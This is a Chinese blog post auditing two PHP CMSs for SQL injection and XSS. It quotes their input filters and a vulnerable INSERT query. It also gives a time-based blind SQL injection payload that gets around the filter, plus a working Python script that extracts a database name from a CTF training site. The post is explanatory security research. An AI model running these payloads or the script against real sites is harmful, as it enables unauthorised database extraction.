关于cms的一次审计

愿天下教师幸福安康!!—教师节快乐!

正文:

1.
本次对两个cms进行了代码审计(具体就不发出来了,看下思路得了)
由于版本问题,虽然都是最近更新了的,但是有些页面甚至没有显示出来,如登陆。。。
所以有些就没有进行实际测试,仅理论分析了下;有些进行了测试
2.
也是主要是对sql和xss和上传进行了探究
你问其他怎么不,一是少(漏洞情况少),二是多(出现特殊字符地方多)

一.本次审计用到的思路

1.
现在的网站基本是分割开的,数据库的操作是一个类,单独的文件,功能函数(防注入,分页)是一个类等,所以一般分析就直接找这些函数
2.
当然,如果,过滤没有什么漏洞(网站作者也许是为了用户体验,会自己写函数过滤,看能不能过;如果是系统自带的过滤函数,还真不好操作,除了已知的那几个特殊情况)
3.
继续去看下哪里少用了过滤函数,情况少见(博主审计的时候,发现一个sql的漏洞,字符串要用到引号闭合,数字参数就不需要引号闭合了)
4.二次注入
经常看到这种方法,是str进去一个字符串,经过addslashes函数转义,有趣的是,网站作者又把它取出来,取消转义,进行数据库的操作,但是并没有再经过任何的安全处理
5.
注入讲究回显,不管是select或者insert,报错,bool等,都要找一个回显

二.php网站的结构(当然还有一些结构,但主流都是mvc和类的封装)

1.

---------------------------------------
┌─class         公共函数目录
├─cmsadmin      统一后端目录
│  ├─css       后端样式目录
│  ├─images    后端图片目录
│  ├─js        后端js控制目录
│  ├─sqldata   数据库文件备份马路
│  ├─ueedit    百度UE编辑器
│  ├─umedit    百度UM编辑器
│  ├─wechat    微信公众号通讯接口
│  └─后端文件
│
├─images        前端资源目录
│  ├─article   文章资源目录
│  ├─atlas     图集资源目录
│  ├─avatar    头像资源目录
│  ├─css       前端样式目录
│  ├─font      前端字体目录
│  ├─goods     商品资源目录
│  ├─icon      图标目录
│  ├─js        前端js控制目录
│  ├─upload    编辑器资源目录
│  └─其他文件
│
├─jsonapi       json数据接口目录
│  └─json资源
│
├─payment       支付宝sdk
│  ├─aop       sdk控制器
│  ├─lib       sdk通知库
│  ├─lotusphp...运行目录
│  ├─pagepay   电脑端支付目录
│  ├─wappay    移动端支付目录
│  └─支付宝sdk文件
│
├─paywallet     微信支付sdk
│  ├─cert      支付证书
│  ├─lib       sdk设置库
│  ├─logs      支付日志
│  ├─to        支付接口目录
│  └─微信支付sdk文件
│
├─plugins       可扩展插件目录
│
├─routine       小程序目录
│  ├─other     样式/js/图片资源
│  ├─pages     主体页面
│  ├─template  模板目录
│  └─其他资源
│
├─setup         安装目录
│
├─templete      模板目录
│  ├─cache     缓存文件
│  ├─skin      模板文件
│  └─皮肤资源
│
└─前端文件

2.thinkphp

~~~
www  WEB部署目录(或者子目录)
├─application           应用目录
│  ├─common             公共模块目录(可以更改)
│  ├─module_name        模块目录
│  │  ├─common.php      模块函数文件
│  │  ├─controller      控制器目录
│  │  ├─model           模型目录
│  │  ├─view            视图目录
│  │  └─ ...            更多类库目录
│  │
│  ├─command.php        命令行定义文件
│  ├─common.php         公共函数文件
│  └─tags.php           应用行为扩展定义文件
│
├─config                应用配置目录
│  ├─module_name        模块配置目录
│  │  ├─database.php    数据库配置
│  │  ├─cache           缓存配置
│  │  └─ ...
│  │
│  ├─app.php            应用配置
│  ├─cache.php          缓存配置
│  ├─cookie.php         Cookie配置
│  ├─database.php       数据库配置
│  ├─log.php            日志配置
│  ├─session.php        Session配置
│  ├─template.php       模板引擎配置
│  └─trace.php          Trace配置
│
├─route                 路由定义目录
│  ├─route.php          路由定义
│  └─...                更多
│
├─public                WEB目录(对外访问目录)
│  ├─index.php          入口文件
│  ├─static             静态资源文件目录
│  ├─router.php         快速测试文件
│  └─.htaccess          用于apache的重写
│
├─thinkphp              框架系统目录
│  ├─lang               语言文件目录
│  ├─library            框架类库目录
│  │  ├─think           Think类库包目录
│  │  └─traits          系统Trait目录
│  │
│  ├─tpl                系统模板目录
│  ├─base.php           基础定义文件
│  ├─console.php        控制台入口文件
│  ├─convention.php     框架惯例配置文件
│  ├─helper.php         助手函数文件
│  ├─phpunit.xml        phpunit配置文件
│  └─start.php          框架入口文件
│
├─extend                扩展类库目录
├─runtime               应用的运行时目录(可写,可定制)
├─vendor                第三方类库目录(Composer依赖库)
├─build.php             自动生成定义文件(参考)
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

sql:

cmsA:

1.现在基本上index页面的id,gid都经过intval包装
2.所以我们看注册和登陆的username和passwd
看functions.php功能函数

//防止sql注入
function inject_check($str)
{
$tmp = preg_match('/select|insert(\s|"|\'|`)+|update(\s|"|\'|`)+|and(\s|"|\'|`)+|or(\s|"|\'|`)+|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into(\s|"|\'|`)+|load_file|outfile/is', $str);
if ($tmp) {
alert("非法操作!", 1);
} else {
return $str;
}
}

可能是由于版本比较老的缘故,我们看到过滤的字符串还是比较少的
由于select被过滤,我们只有通过盲注或者报错,报错和bool盲注博主也没有去观察页面
所以我们就利用时间盲注(这里的局限性)
and => &&
or   =>  ||
样式 %27 and if(substr(database(),1,1)=”s”,sleep(10),0) %23   可以跑出数据库
不爽的是select被墙了,导致我也不知道怎样提数据表
如果没有被墙,可以做很多事,如: ascii (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>60
以前留下的脚本:

# -*-coding:utf-8-*-
import requests
import time
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}-'
#不区分大小写的(应该要叫大写的,这里知道是test数据库,以-判断结束也没有把一些特殊的符号包含在内)  知道数据库的长度可以直接拿很多字符去遍历
database = ""
key=0
print("Start")
for i in range(1,50):
	if key == 1:
		break
	for payload in payloads:
		starttime = time.time()#记录当前时间
		headers = {"Host": "ctf5.shiyanbar.com",
				"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36",
				"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
				"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
				"Accept-Encoding": "gzip, deflate",
				"Cookie": "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471487815; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*67928%2CnickName%3Ayour",
				"Connection": "keep-alive",
				}
		url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=adm' or if((substr(database(),%s,1)='%s'),sleep(10),0) and ''='&pass=&action=login" %(i,payload)#数据库
		#这里本来想用%23截断的 发现有一个python的语法错误,用%%23,但是试了下,效果不对,所以最后用引号闭合
		#这里也有一个and和or  用admin=admin时好像(*)不会再判断后面,& && 还要看下 有一个执行的先后顺序和执行不执行
		res = requests.get(url, headers=headers)
		if time.time() - starttime > 10:
			database += payload
			print('\n database is:', database)
			break
		else:
			if payload == '-':
				key = 1
				break
print('\n[Finally] current database is %s' % database())

cmsB:

sqlchecks过滤函数,可以看到对 ‘ 进行了替换,换成了中文(sql中单引号和select的问题,是本人遇到比较蛋疼的问题)

<?php
function sqlchecks($StrPost){
$StrPost=str_replace("'","’",$StrPost);
$StrPost=str_replace('"','“',$StrPost);
$StrPost=str_replace("(","(",$StrPost);
$StrPost=str_replace(")",")",$StrPost);
$StrPost=str_replace("@","#",$StrPost);
$StrPost=str_replace("/*","",$StrPost);
$StrPost=str_replace("*/","",$StrPost);
return $StrPost;
}

但是博主找到了一个地方

?>$summoney=UsualToolCMS::sqlcheck($_POST["summoney"]);
$userid=UsualToolCMS::sqlcheck($_POST["userid"]);
$ordernum=UsualToolCMS::sqlcheck($_POST["ordernum"]);
$remark=UsualToolCMS::sqlcheck($_POST["remark"]);
$buynum=UsualToolCMS::sqlcheck($_POST["buynum"]);
$sqlpay="INSERT INTO cms_order (`state`,`category`,`ordernum`,`userid`,`summoney`,`remark`,`ordertime`) VALUES (0,1,$ordernum,$userid,$summoney,'$remark',now())";
if($mysqli->query($sqlpay)==TRUE)

明显看到
$ordernum,$userid,$summoney  三个参数没有引号且可控
这时候就可以为所欲为了
那个页面丢失。。。具体也就没有去试

xss:

cmsA:

1.
这个就没有找到了,是白名单模式,有a,img,src,所以还是比较简单的
2.
管理员界面没有任何的防护,任意插数据(很多网站都是这种问题,被别人打了组合拳)
3.
但是用户输入就经过了实体化
博主先测试了普通用户和后台输入,为什么两者显示的都正确,前台留言却不成功,原来查数据库才发现被实体化了,管理员输入的内容一切正常,弹窗成功(这里cms作者,应该是在前台输出时重新转回来了,导致我们看到的好像正确,上一篇的博主的审计,估计也是这个问题)

cmsB:

就没有测试了(同样的问题,页面有问题,不过看了下,也是那个函数)
找post和get,request到的数据,看下
或者继续跟进,看下被转义回来了没有,这个cms,作者是有几处转义回来
 
博主看着代码实在头大,就不继续进行审计了
 
 
2018.9.10

发表评论

电子邮件地址不会被公开。 必填项已用*标注